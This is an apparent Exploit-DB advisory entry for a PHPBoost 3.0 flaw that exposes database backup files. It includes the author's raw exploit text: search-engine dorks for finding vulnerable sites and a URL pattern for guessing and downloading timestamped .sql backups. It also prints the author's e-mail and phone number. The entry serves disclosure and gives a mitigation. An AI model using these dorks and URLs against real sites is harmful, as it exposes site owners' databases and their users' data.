PHPBoost 3.0 Remote Download Backup Vulnerability

vendor:

PHPBoost

by:

KedAns-Dz

8.8

CVSS

HIGH

Remote Download Backup Vulnerability

284

CWE

Product Name: PHPBoost

Affected Version From: PHPBoost 3.0

Affected Version To: PHPBoost 3.0

Patch Exists: NO

Related CWE: N/A

CPE: a:phpboost:phpboost

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP sp3 FR

2011

PHPBoost 3.0 Remote Download Backup Vulnerability

A vulnerability in PHPBoost 3.0 allows an attacker to download the backup database file (*.sql) from the vulnerable server. This vulnerability is due to insufficient access control on the backup directory. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. Successful exploitation of this vulnerability will allow an attacker to download the backup database file (*.sql) from the vulnerable server.

Mitigation:

Restrict access to the backup directory by creating a .htaccess file and writing 'deny from all' in it.

Source

Exploit-DB raw data:

###
# Title : PHPBoost 3.0 Remote Download Backup Vulnerability
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# platform : php
# Impact : Download Backup Database (*.sql) File
# Tested on : Windows XP sp3 FR
###
# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
##
# [»] ~ special thanks to : Dr.Ride 
##
# Go0gle Dorks :  
# 1> "Powered by PHPBoost 3.0"  
# 2> "Boosté par PHPBoost 3.0"
####

# Demo:

http://[localhost]/[path]/cache/backup/backup_phpboost_11-03-29-17-35-34.sql

# Exploit :

http://[localhost]/[path]/cache/backup/backup_[sitname]_*Y*M*D*H*Mn*S*.sql

%{
Y = year
M = month
D = day
Mn = minute 
S = second 
}%

# Download The Backup .SQL File ** The Access Not Forbidden ** 

# The Clouting : Creating .htaccess File and Writ in him : ' deny from all ' * Save as ../../backup/

=================================================================================================
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
# Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz
# Masimovic * TOnyXED * cr4wl3r (Inj3ct0r.com) * TeX (hotturks.org) * KelvinX (kelvinx.net) * Dos-Dz
# Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (www.1923turk.com)
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{
# Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX 
# Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,
# www.packetstormsecurity.org * exploit-db.com * bugsearch.net * 1337day.com * exploit-id.com 
# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...
#================================================================================================